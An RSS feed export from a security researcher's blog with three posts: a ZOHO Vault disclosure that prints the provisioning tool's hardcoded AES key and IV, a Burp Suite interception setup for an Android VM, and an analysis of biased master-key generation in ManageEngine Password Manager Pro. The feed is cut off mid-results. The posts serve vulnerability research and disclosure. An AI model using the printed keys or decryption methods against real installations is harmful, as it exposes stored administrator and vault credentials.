<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[INIT_6 > /dev/null]]></title><description><![CDATA[#HackingAdventures ]]></description><link>https://init6.me/</link><image><url>https://init6.me/favicon.png</url><title>INIT_6 &gt; /dev/null</title><link>https://init6.me/</link></image><generator>Ghost 2.6</generator><lastBuildDate>Mon, 02 Mar 2026 11:24:09 GMT</lastBuildDate><atom:link href="https://init6.me/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[ZOHO - A Story Of Where Not To Store Keys]]></title><description><![CDATA[ZOHO Password Manager Vault AD/LDAP provisioning application stores the AES encryption key and IV in the source code.]]></description><link>https://init6.me/zoho-story-of-where-not-to-store-keys/</link><guid isPermaLink="false">5b474e2de36bdc439cddc18c</guid><category><![CDATA[hacking]]></category><category><![CDATA[Vulnerability]]></category><category><![CDATA[zoho]]></category><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Thu, 12 Jul 2018 13:59:56 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1504871355573-7e6bc47fd0ed?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ&amp;s=4480155466e39a130779e0e2c54ebca5" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1504871355573-7e6bc47fd0ed?ixlib=rb-0.3.5&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&ixid=eyJhcHBfaWQiOjExNzczfQ&s=4480155466e39a130779e0e2c54ebca5" alt="ZOHO - A Story Of Where Not To Store Keys"><p>The second 0DayAllDay event was June 9th, 2018 from 10am to 9pm. It was organized by Spectant Security and Blackmarble.sh. More information on 0DayAllDay can be found <a href="https://www.0dayallday.org/">here</a></p>
<p>Last 0DayAllDay event was focused around Password Managers, Thycotic, Keeper, ZOHO Vault were a some of the targets. Only bug that was found was for <a href="https://vault.zoho.com/online/main#">ZOHO Vault</a>.</p>
<p>ZOHO Vault is an online password manager focused on businesses. Included in their software is a AD/LDAP provisioning application. The application ask some standard question like your master ZOHO Account Username and Password, Domain Administrator (What isn't really needed) Username and Password, connection details. After you fill this out, Application connects to the Domain Controller and you select the users you want to import into ZOHO Vault.</p>
<p>The AD/LDAP provisioning application stores the AES encryption key and IV in the source code. Obtaining these strings is trivial. You can use JetBrains.dotPeek for example to decompile the executable.</p>
<p>Once decompiled, you can see that Provisioning_Utils namespace has a CryptUtil class that uses a static string for both the Key and IV.</p>
<pre><code>namespace Provisioning_Utils
{
    public class CryptUtil
{
private static UTF8Encoding encoding = new UTF8Encoding();
private static byte[] kBytes = CryptUtil.encoding.GetBytes(&quot;6ZUJiqpBKHuNuS@*&quot;);
private static byte[] tmpIV = CryptUtil.encoding.GetBytes(&quot;BJLTHGVTPJQMDEXO&quot;);
</code></pre>
<p>The vault.zoho.com account password and the Windows Administrator account password are stored in the provisioning.conf file as encrypted text. The Provisioning application can be ran on any computer on the domain. Access to this provisioning.conf file is not guaranteed to be protected. It some cases it would be fairly easy for unauthorized access to the provisioning.conf file.</p>
<p>I have successfully wrote a new standalone program that takes the encrypted text as an argument and decrypts the password showing the plain text password.</p>
<p><img src="https://init6.me/content/images/2018/07/WorkingPoC.PNG" alt="ZOHO - A Story Of Where Not To Store Keys"></p>
<p>First, C# program I have made. It was pretty easy, just needed to copy and paste the decompiled code. Googled a few things, and surprisingly got it to build on the second try.</p>
<p>For full source code and binary check out my <a href="https://github.com/initiate6/ZOHO-Vault-d3crypt3r">GitHub</a></p>
<p>You do need some other access to exploit this; however, for pentesters if they find this provisioning.conf file game over. <s>Gain access to all the passwords saved on ZOHO Vault</s> (Edit: You need a secondary password to decrypt the Vault) and have Domain Admin. It was reckless to have the keys to your kingdom so easily available.</p>
<p>ZOHO issued me their own CVE number: <code>ZVE-2018-0976</code></p>
<p>Disclosure Timeline:<br>
Found Vulnerability: June 8th, 2018<br>
Disclosed to ZOHO: June 10th, 2018<br>
ZOHO Closed: July 12th, 2018</p>
<p>Reward: <s>Nothing :( 10 stupid points. I can't buy beer with points.</s></p>
<h2 id="edit">EDIT:</h2>
<p>ZOHO Updates Ticket: July 13th, 2018</p>
<p>Reward: $100 and 10pts. We have beer money for the next event now.</p>
<p>After making a post I like to watch Google Analytics for my blog just to see the kind of response I get. Got a couple referrals from supportlab.zoho.com and docs.zoho.com less than a hour from posting on twitter. I think they have a twitter bot looking for their name. Anyways, they updated the ticket I had open with them.</p>
<p><img src="https://init6.me/content/images/2018/07/response.png" alt="ZOHO - A Story Of Where Not To Store Keys"></p>
<p>It is true, I had an error. Even though you have the ZOHO Vault login password, you need a secondary encryption password to get access to the content (View Passwords).</p>
<p>They fixed the vulnerability by removing the unneeded ZOHO account password and using dynamic unique keys to encrypt scoped authentication token and AD Password for every installation.</p>
<h2 id="finialnotes">Finial notes:</h2>
<p>What this tells me is the Authentication token doesn't expire I thought this was true as I played around with it as well. Which was clear text before in the provisioning.conf. Now I am interested in the new way they are doing the keys. I'll have to take another look when I get some time.</p>
]]></content:encoded></item><item><title><![CDATA[Setting up an Android Hacking Environment]]></title><description><![CDATA[Setting up an Android Hacking Environment using Virtual Machine and Burp Suite.]]></description><link>https://init6.me/android-hacking-environment/</link><guid isPermaLink="false">5b0b1e23e36bdc439cddc17b</guid><category><![CDATA[howto]]></category><category><![CDATA[Android]]></category><category><![CDATA[Burp Suite]]></category><category><![CDATA[Proxy]]></category><category><![CDATA[Proxmox]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Sun, 27 May 2018 23:25:52 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1521939094609-93aba1af40d7?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ&amp;s=4c67cf20c6e232c3812aee2beb2d49c8" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1521939094609-93aba1af40d7?ixlib=rb-0.3.5&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&ixid=eyJhcHBfaWQiOjExNzczfQ&s=4c67cf20c6e232c3812aee2beb2d49c8" alt="Setting up an Android Hacking Environment"><p>For the <a href="https://www.meetup.com/0dayallday/events/250450302/">0DayAllDay event</a> a friend and I are hosting June 9th 2018. I needed to setup a handful of Android virtual machines. Since we will be hacking on Password Managers and their associated Android apps. I didn't want people wasting their time setting up Android to work with Burp Suite. Especially since it can be difficult with information so spread out. I thought it would be good to centralize the information I needed to get a working Android Hacking Environment setup.</p>
<p>I won't be doing a step by step guide (Plenty of those out there). I am assuming the audience knows how to setup virtual machines. Just highlighting the important stuff.</p>
<p>Hypervisor I use is <a href="https://www.proxmox.com/en/">Proxmox</a> (Qemu/kvm). I'm sure the steps will be fairly similar for other Hypervisors.</p>
<p>For the Android Operating System I will be using <a href="http://www.android-x86.org">android-x86</a> specifically 'android-x86_64-7.1-r2.iso'</p>
<p>Create a virtual machine, I used the following:</p>
<ul>
<li>4 vCPU kvm64 (2 vCPU should be work fine)</li>
<li>2 GB Memory</li>
<li>15 GB Storage VirtIO SCSI</li>
<li>Use tablet for pointer should be set to 'No' for the mouse to work correctly.</li>
</ul>
<p>Once you load up the android-x86 iso, start the virtual machine up. For details regarding the install, reference their documentation <a href="http://www.android-x86.org/documents/installhowto">here</a>. During the install it will ask if you want to install /system directory as read-write. Choose 'Yes' here. This will make everything easier.</p>
<p>Once the install is complete reboot.</p>
<p><mark>The mouse pointer is most likely going to be off from your host mouse. It's annoying but it works.</mark></p>
<p>Just like any Android, on first boot you need to setup everything.</p>
<p>For Proxmox to use another VNC client instead of the built in console follow the steps <a href="https://pve.proxmox.com/wiki/VNC_Client_Access">here</a>. I prefer to use Remmina VNC client.</p>
<p>Now that you have a working Android virtual machine setup we can start to have fun.</p>
<p>There are two ways to get to the Android shell. On the VM Console you can hit ALT+F1 and it will switch tty's. The other way is ADB shell. For more information on how to connect via ADB shell see their documentation <a href="https://developer.android.com/studio/command-line/adb">here</a>.</p>
<p>To intercept traffic with Burp Suite you first need to download the CA Certificate. On the host computer go to <a href="http://proxyAddress:8080">http://proxyAddress:8080</a> in the top right hand corner click on 'CA Certificate'. Save cacert.der somwhere on your computer.</p>
<p>The certificate needs to be in PEM format. To do this run the following:</p>
<p><code>openssl x509 -inform der -in cacert.der -out cacert.pem</code></p>
<p>Next, you need to get the hash of the certificate. To do this run the following:</p>
<p><code>openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1</code></p>
<p>You will get something similar to <code>9a5ba575</code></p>
<p>Now we need to write the contents of <code>cacert.pem</code> to a new file using this hash and an extension of <code>.0</code></p>
<p><code>cat cacert.pem &gt; 9a5ba575.0</code></p>
<p>Now we need to export the PEM information into the bottom of this new file.</p>
<p><code>openssl x509 -inform PEM -text -in cacert.pem -out /dev/null &gt;&gt; 9a5ba575.0</code></p>
<p>These steps were stolen from <a href="https://jamie.holdings/2016/09/04/Installing-a-new-trusted-SSL-root-certificate-on-Android.html">here</a>; however, to add value I made a one liner command.</p>
<p><code>openssl x509 -inform der -in cacert.der -out cacert.pem; cat cacert.pem &gt;&gt; $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1).0;openssl x509 -inform PEM -text -in cacert.pem -out /dev/null &gt;&gt; ????????.0</code></p>
<p>Now that we have the CA certificate in a format that will be recognized by Android System. You just need to push the certificate with adb.</p>
<p>Obtain the IP address of the virtual machine. I just flip to tty1 <code>ALT+F1</code> and run <code>ifconfig</code>.</p>
<p>Once you have the IP Address. Start adb as root.</p>
<p><code>adb root</code></p>
<p>Next, connect to the virtual machine.</p>
<p><code>adb connect &lt;ip address&gt;</code></p>
<p>Then push the certificate. Replacing the certificate name with yours.</p>
<p><code>adb push 9a5ba575.0 /system/etc/security/cacerts/</code></p>
<p>Last thing to do is set the correct permissions. First open a adb shell.</p>
<p><code>adb shell</code></p>
<p>Then run:</p>
<p><code>chmod 644 /system/etc/security/cacerts/9a5ba575.0</code></p>
<p>Reboot and your certificate will now be trusted.</p>
<p>Unfortunately, this isn't the end of the story. You now need to get the traffic from the virtual machine to Burp Suite. Because there isn't a wifi controller in the VM, the standard tools like ProxyDroid, or the system wifi proxy won't work. You will need to use iptables.</p>
<p>Open adb shell as root and run the following: (Replacing the BURP_HOST and BURP_PORT with the correct information for your configuration)</p>
<p><code>iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination BURP_HOST:BURP_PORT</code><br>
<code>iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination BURP_HOST:BURP_PORT</code></p>
<p>In Burp suite under Proxy -&gt; Options -&gt; Proxy Listeners. Edit your Proxy Listener. Under the Binding tab, set 'Bind to address:' to either 'All interfaces' or 'Specific address'. So that the proxy listener can accept connections from the Android VM.</p>
<p>Next, under the Request handling tab, select 'Support invisible proxying'</p>
<p>That is it, you should now be able to successfully man in the middle your android device. I test this by opening up Google Play and download an Application.</p>
<h2 id="bonus">Bonus</h2>
<p>If you need to delete your iptables you can either reboot or run the following.</p>
<p>First get the line number of the rule you want to delete.</p>
<p><code>iptables -t nat -nvL --line-numbers</code></p>
<p>Once you have the line number delete it with:</p>
<p><code>iptables -t nate -D OUTPUT #</code></p>
<p>To download an APK from Google Play to your workstation I use gplaycli what can be found <a href="https://github.com/matlink/gplaycli">here</a>. Best tool i've found for this. You don't need to give your gmail creds or device ID.</p>
<p>To decompile the APK to source I use this <a href="http://www.javadecompilers.com/apk">online tool</a> which uses Jadx. It's easy and the APK's are already public so it's not like you are uploading sensitive data.</p>
]]></content:encoded></item><item><title><![CDATA[ManageEngine Password Pro]]></title><description><![CDATA[ManageEngine Password Pro weak Master Encryption Key generation.]]></description><link>https://init6.me/manageengine-password-pro/</link><guid isPermaLink="false">5a20511a1aa66a04bddd0af0</guid><category><![CDATA[ManageEngine]]></category><category><![CDATA[Passwords]]></category><category><![CDATA[Vulnerability]]></category><category><![CDATA[SillyDevs]]></category><category><![CDATA[howto]]></category><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Fri, 01 Dec 2017 00:39:30 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1477244075012-5cc28286e465?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;s=650281f5f6da101b6954a53645bf6501" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1477244075012-5cc28286e465?ixlib=rb-0.3.5&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&s=650281f5f6da101b6954a53645bf6501" alt="ManageEngine Password Pro"><p>Weak Master Encryption Key Generation.</p>
<p>This is a public disclosure, WHAT? It's okay, I feel like public disclosure in this scenario is okay for a couple reasons. One, even though the flaw is serious it still leaves the customers with enough protection against most people. Two, all of ManageEngine products seems to have a few vulnerabilities due to lack of effort. Why should I go through the extra effort getting them to fix code that shouldn't be broken in the first place. I feel like the public should know. Really the only people that can still crack the encryption key is state sponsored actors.</p>
<p>Below I show my process of how I tracked down the function that generates the Master Encryption Key.</p>
<p>After installing ManageEngine Password Pro evaluation copy. Started poking around, one of the first items I went looking for was the encryption key that encrypts the data in the database. The Encryption key can be found here:</p>
<pre><code>~/ManageEngine/PMP/conf/pmp_key.key
</code></pre>
<p>Contents of pmp_key.key</p>
<pre><code>#This file contains the master AES encryption key for this installation, automatically generated by Password Manager Pro.
#The default location of this file is &lt;PMP_HOME&gt;conf and it is not secure to leave this file here, unless
#the server is sufficiently hardened to protect any illegal access of this file.
#It is highly recommended to move this file out of its default location and for instructions to securely store this file refer.
#Thu Nov 30 13:48:09 CST 2017
ENCRYPTIONKEY=x7J2821f*831*7ub*oXVsJsHbeTbmaZY
</code></pre>
<p>Awesome, Now how is the key made.</p>
<p>Found a helper tool in /bin/ called 'RotateKey.sh'. Which is used as a helper script to rotate the master key.</p>
<p>Looking at 'RotateKey.sh'</p>
<pre><code>../jre/bin/java -Dswing.aatext=true -Djsse.enableCBCProtection=false -Djava.library.path=../lib/native  -Dserver.dir=&quot;$SERVER_HOME&quot; -Dserver.home=&quot;$SERVER_HOME&quot; -cp &quot;$CLASS_PATH&quot; com.adventnet.pmp.PMPStarter &quot;com.adventnet.passtrix.utils.RotateKey&quot; &quot;rotatekey&quot;
</code></pre>
<p>You can see which java file handles this function &quot;com.adventnet.passtrix.utils.RotateKey&quot;</p>
<p>Using <a href="http://www.benf.org/other/cfr/">cfr.jar</a> you can decompile all the Java files. I typically just decompile them all into one directory so it keeps the file structure.</p>
<pre><code>find . -name '*.jar' -exec java -jar /opt/cfr.jar --outputdir output/ {} \;
</code></pre>
<p>After that magic runs, its time to find the RotateKey function. Its located here:</p>
<pre><code>~/ManageEngine/PMP/output/com/adventnet/passtrix/utils/RotateKey
</code></pre>
<p>Looking at this code you see the libraries imported and the function call.</p>
<pre><code>import com.adventnet.mfw.ConsoleOut;
import com.adventnet.passtrix.role.RoleConstants;
import com.adventnet.passtrix.utils.KeyRotationUtils;
import com.adventnet.passtrix.utils.StandAloneUtils;
...
else {
                KeyRotationUtils.rotatePasswords();
</code></pre>
<p>Next in the chain, look at &quot;com.adventnet.passtrix.utils.KeyRotationUtils;&quot;. Find the rotatePasswords() function and looked for what might be getting or setting the key.</p>
<pre><code>PMPAPI.initializePMPED();
String oldKey = PMPAPI.get32BitKey();
ClientUtil.setPMPMasterKey();
if (!KeyRotationUtils.backupDatabase()) {
    ConsoleOut.println((String)PMPApplicationResourcesUtil.getMsg(rb, &quot;java.KeyRotationUtils.Error_backup&quot;, null));
    throw new Exception(&quot;Error occurred while taking backup of the database.&quot;);
}
String new256BitKey = KeyRotationUtils.createPMPEncryptKey();
pmpEncryptDecrypt = KeyRotationUtils.getNewPMPEDInstance();
</code></pre>
<p>Here you see the 'createPMPEncryptKey();'. Searching for this in the same file you find the following:</p>
<pre><code>public static String createPMPEncryptKey() throws Exception {
    String generatedKey = null;
    ...
    generatedKey = PasswordGenerator.generatePassword(32, 32, true, true, 3, true, true);
    String keyFile = PMPAPI.getConfKeyPath();
    ...
    try {
        File f = new File(keyFile);
        Properties props = new Properties();
        props.load(new FileInputStream(f));
        String oldKey = props.getProperty(&quot;ENCRYPTIONKEY&quot;);
        String comments = &quot;#OLDENCRYPTIONKEY=&quot; + oldKey;
        Properties properties = new Properties();
        properties.setProperty(&quot;ENCRYPTIONKEY&quot;, generatedKey);
        key = new BufferedWriter(new FileWriter(keyFile));
        ...
        log.log(Level.INFO, &quot;Encryption key file has been updated with the new key successfully.&quot;);
        String string = generatedKey;
        return string;
    }
    ...
</code></pre>
<p>Alright, Getting closer. 'PasswordGenerator.generatePassword(32, 32, true, true, 3, true, true);' Matches the size of the key in the pmp_key.key file above. If you run 'RotateKey.sh' you get the line that says #OLDENCRYPTIONKEY. Now we need to find PasswordGenerator.generatePassword()</p>
<p>It's located in the same directory. After opening 'PasswordGenerator.java'. Look for generatePassword(). There are a couple functions named generatePassword(). Just need to match up with the arguments to the expected arguments to find the correct one. Below is the function it calls. I added my notes below marked with ##comment</p>
<pre><code>## Min and Max Password length is 32.
## Mixed Case is required
## Special Chars are required
## 3 Special chars
## Must start with Letter
## Must have numbers
public static String generatePassword(int minPassLen, int maxPassLen, boolean mixedCaseRqd, boolean splCharRqd, int noOfSplChar, boolean startWithLetter, boolean isNumber) {
    ## Sets up 4 Arrays for lower case, upper case, digits, and special chars.
    ## As you can see they aren't using all the special chars.
    
    char[] alpha = new char[]{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
    char[] upperAlpha = new char[]{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
    char[] numeric = new char[]{'0', '1', '2', '3', '3', '4', '5', '6', '7', '8', '9'};
    char[] splchar = new char[]{'@', '$', '-', '%', '&amp;', '*', '(', ')', '=', '^'};
    int passMinLength = 0;
    ## Starts with letter increase passMinLength
    if (startWithLetter) {
        ++passMinLength;
    }
    ## Has mixed case and startWithLetter is true so adding 2, total is 3 now.
    if (mixedCaseRqd) {
        passMinLength = !startWithLetter ? (passMinLength += 2) : ++passMinLength;
    }
    ## is True so add 1, total is 4
    if (isNumber) {
        ++passMinLength;
    }
    ## Is True so add number of special char what is 3, total 7.
    if (splCharRqd) {
        passMinLength += noOfSplChar;
    }
    ## Verify that minPassLen is large enough to meet requirements, If not, increase minPassLen.
    if (minPassLen &lt; passMinLength) {
        minPassLen = passMinLength;
    }
    ## Verify that maxPassLen is large enough, if not Increase.
    if (maxPassLen &lt; passMinLength) {
        minPassLen = maxPassLen;
    }
    
    ## more checks and gets the password length to generate. In our case its always 32.
    int passLen = PasswordGenerator.getPasswordLength(minPassLen, maxPassLen);
</code></pre>
<p>Now the fun begins:</p>
<pre><code>    ## Setup string buffer to hold chars being generated. 
    StringBuffer password = new StringBuffer(passLen);
    
    ## Upper case count.
    int iCount = 0;
    
    ## This little guy is called a Ternary. I had to ask a friend. Not a Java Programer I guess it was frist used in C and someother languages.
    ## If splChar equals True and number of special is greater than 0 types = 3 else if number of special chars 0 or less, types = 2
    ## type 1 = pick a lower or upper case alpha
    ## type 2 = pick a number
    ## type 3 = pick a special char
    int types = splCharRqd &amp;&amp; noOfSplChar &gt; 0 ? 3 : 2;
    
    int splCharsAdded = 0;
    boolean toggleCase = false;
    int mixedCount = 0;
    
    ## This is the start of the password generation.
    
    block5 : for (int i = 0; i &lt; passLen; ++i) {
        ## arrayId determines which array to pick from.
        int arrayId = 0;
        ## First round if startWithLetter is True use case 0
        if (i == 0 &amp;&amp; startWithLetter) {
            arrayId = 0;
            
        ## If isNumber use case 1 
        ## Because isNumber = True. The second round will always be a number. 
        } else if (isNumber) {
            isNumber = false;
            arrayId = 1;
            
        ## For each round after the second round, if mixed case is required and mixedCount equals 0 use case 0 and increase mixedCount.
        ## Third Round will always be alpha. Below it shows it will always be Uppercase.
        } else if (mixedCaseRqd &amp;&amp; mixedCount == 0) {
            arrayId = 0;
            ++mixedCount;
            
        ## If special char required and number of special chars is greater than 0. Then check if special charsAdded is less than number of special chars. If so, do some crazy stuff. 
        ## skip rounds 1 and 2 because thats caught above. 
        ## round 3
            ## 32 - 3 == 3 - 0 (False so arrayId = random(0,2) aka 0,1, or 2.
        ## round 4
            ## 32 - 4 == 3 - 0 (False so arrayId = random(0,2)
        ## blah blah, Its there way of making sure that the required amount of specials chars is added before running out of password length. If the statement is true arrayId = 2 else you are picking a random number between 0 and 2.
        } else if (splCharRqd &amp;&amp; noOfSplChar &gt; 0) {
            if (splCharsAdded &lt; noOfSplChar) {
                arrayId = passLen - i == noOfSplChar - splCharsAdded ? 2 : sRnd.nextInt(types);
            ## After the password has the required amount special chars, change types to equal 2. Removing the option to pick special chars.
            } else {
                types = 2;
            }
            
        ## If none of the above is triggered pick a type.    
        } else {
            arrayId = sRnd.nextInt(types);
        }
        switch (arrayId) {
            ## Case 0 is for lower and upper case.
            case 0: {
                ## Pick a random char from lower and upper case array.
                int alphaIdx = sRnd.nextInt(alpha.length);
                int upperAlphaIdx = sRnd.nextInt(upperAlpha.length);
                ## If not mixed case it just uses lower case.
                if (mixedCaseRqd) {
                    ## First round always use lower case.
                    if (i == 0) {
                        password.append(alpha[alphaIdx]);
                        continue block5;
                    }
                    ## All other rounds pick a random int 0 or 1
                    ## 0 = Uppercase
                    ## 1 = Lowercase
                    int charCase = sRnd.nextInt(2);
                    
                    ## If there are no upper case chars yet, Force Upper case. Because a number is always in the second position. The third char position is always Upper case. 
                    if (iCount == 0) {
                        charCase = 0;
                    ## When the next alpha case 0 is picked it has to be a lower case because toggleCase = False. Meaning 4th char position can never be Uppercase. Uppercase can't be picked until case 0 is picked and sets the toggleCase to True. So position 5 - 10 are less likely to be uppercase.
                    } else if (!toggleCase) {
                        charCase = 1;
                        toggleCase = true;
                    }
                    
                    ## Once a lower case is choosen. It will either be a zero and this will add a upper case char and increase the uppercase counter or if one is picked it will move on to the next section.
                    if (charCase == 0) {
                        password.append(upperAlpha[upperAlphaIdx]);
                        ++iCount;
                        continue block5;
                    }
                   ## if One is picked it will add lowercase. 
                   password.append(alpha[alphaIdx]);
                    continue block5;
                }
                ## Never used as mixedCaseRqd = True
                password.append(alpha[alphaIdx]);
                continue block5;
            }
            case 1: {
                ## If Case one is picked it will add a number to the password. Numbers tend not to exist towards the end of the password.
                int numIdx = sRnd.nextInt(numeric.length);
                password.append(numeric[numIdx]);
                continue block5;
            }
            case 2: {
                ## If case 2 is picked add special char to the password. Increase special chars added. Case 2 can only be choosen when specialCharsAdded is less than Number of Specials which is 3. Special chars favors the start of the password.
                int splCharIdx = sRnd.nextInt(splchar.length);
                password.append(splchar[splCharIdx]);
                ++splCharsAdded;
            }
        }
    }
    return password.toString();
}
</code></pre>
<p>So from reading the code we know a few things. First position will always be a lower case char. Second position will always be a digit. Third position will always be upper case char. Forth position can't be a upper case. Special chars will favor the first half the encryption key.</p>
<p>I know that might have been confusing. The developers made it way to complex, They were trying to ensure randomness but by doing so cut massive amount of the key space.</p>
<p>Remember boys and girls, NEVER limit what chars can be part of a password as this lowers your entropy.</p>
<p>I wanted to test my theory, I don't code in Java so I didn't want to pull the code out. So I wrote BASH script to execute the RotateKey.sh, read the pmp_key.key file and extract the encryption key and save it in a file. Looping thousands of times.</p>
<pre><code>#!/bin/bash

count=5000
while [ $count -gt 0 ]
do
    ./RotateKey.sh
    grep 'ENCRYPTIONKEY=' ../conf/pmp_key.key | cut -d'=' -f2- &gt;&gt; keys.log
done
</code></pre>
<p>Next, I wrote a python program to analyze the data.</p>
<pre><code>import re
import sys
import os

def run():
    with open('keys.log', 'r') as f:
        data = f.readlines()

    mask = {1: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            2: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            3: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            4: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            5: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            6: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            7: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            8: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            9: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            10: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            11: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            12: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            13: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            14: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            15: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            16: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            17: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            18: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            19: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            20: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            21: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            22: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            23: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            24: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            25: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            26: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            27: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            28: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            29: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            30: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            31: {'l': 0, 'u': 0, 'd': 0, 's': 0},
            32: {'l': 0, 'u': 0, 'd': 0, 's': 0}
            }

    alpha_freq = {'a': 0,
                  'b': 0,
                  'c': 0,
                  'd': 0,
                  'e': 0,
                  'f': 0,
                  'g': 0,
                  'h': 0,
                  'i': 0,
                  'j': 0,
                  'k': 0,
                  'l': 0,
                  'm': 0,
                  'n': 0,
                  'o': 0,
                  'p': 0,
                  'q': 0,
                  'r': 0,
                  's': 0,
                  't': 0,
                  'u': 0,
                  'v': 0,
                  'w': 0,
                  'x': 0,
                  'y': 0,
                  'z': 0
                  }
    number_freq = {'0': 0,
                   '1': 0,
                   '2': 0,
                   '3': 0,
                   '4': 0,
                   '5': 0,
                   '6': 0,
                   '7': 0,
                   '8': 0,
                   '9': 0
                   }
    special_freq = {'@': 0,
                    '$': 0,
                    '-': 0,
                    '%': 0,
                    '&amp;': 0,
                    '*': 0,
                    '(': 0,
                    ')': 0,
                    '=': 0,
                    '^': 0
                    }
    for line in data:
        idx = 1
        for x in line.strip('\n'):
            if x.islower():
                char_type = 'l'
                alpha_freq[x] += 1

            elif x.isupper():
                char_type = 'u'
                alpha_freq[x.lower()] += 1

            elif x.isdigit():
                char_type = 'd'
                number_freq[x] += 1

            else:
                char_type = 's'
                special_freq[x] += 1

            mask[idx][char_type] += 1
            idx += 1

    for k,v in mask.iteritems():
        print(k,v)

    for k,v in alpha_freq.iteritems():
        print(k,v)

    for k,v in number_freq.iteritems():
        print(k,v)

    for k,v in special_freq.iteritems():
        print(k,v)

if __name__ == '__main__':
    run()
</code></pre>
<p>Now for the results.</p>
<p>Count of type per position:</p>
<p>My friend <a href="https://twitter.com/bxrobertz">@bxrobertz</a> thought my raw numbers could use a facelift, so he created some nice charts for me.</p>
<p><img src="https://init6.me/content/images/2017/12/DP7h31bVwAAKNhA.jpg" alt="ManageEngine Password Pro"></p>
<pre><code>(1, {'s': 0, 'u': 0, 'l': 4712, 'd': 0})
(2, {'s': 0, 'u': 0, 'l': 0, 'd': 4712})
(3, {'s': 0, 'u': 4712, 'l': 0, 'd': 0})
(4, {'s': 1601, 'u': 0, 'l': 1579, 'd': 1532})
(5, {'s': 1619, 'u': 261, 'l': 1314, 'd': 1518})
(6, {'s': 1546, 'u': 446, 'l': 1152, 'd': 1568})
(7, {'s': 1511, 'u': 533, 'l': 1134, 'd': 1534})
(8, {'s': 1332, 'u': 815, 'l': 1165, 'd': 1400})
(9, {'s': 1230, 'u': 1027, 'l': 1224, 'd': 1231})
(10, {'s': 1031, 'u': 1240, 'l': 1345, 'd': 1096})
(11, {'s': 875, 'u': 1398, 'l': 1484, 'd': 955})
(12, {'s': 759, 'u': 1573, 'l': 1594, 'd': 786})
(13, {'s': 590, 'u': 1752, 'l': 1758, 'd': 612})
(14, {'s': 444, 'u': 1851, 'l': 1895, 'd': 522})
(15, {'s': 368, 'u': 1957, 'l': 1981, 'd': 406})
(16, {'s': 295, 'u': 2031, 'l': 2083, 'd': 303})
(17, {'s': 250, 'u': 2115, 'l': 2097, 'd': 250})
(18, {'s': 158, 'u': 2158, 'l': 2209, 'd': 187})
(19, {'s': 154, 'u': 2202, 'l': 2229, 'd': 127})
(20, {'s': 120, 'u': 2329, 'l': 2180, 'd': 83})
(21, {'s': 55, 'u': 2277, 'l': 2314, 'd': 66})
(22, {'s': 62, 'u': 2251, 'l': 2358, 'd': 41})
(23, {'s': 38, 'u': 2362, 'l': 2273, 'd': 39})
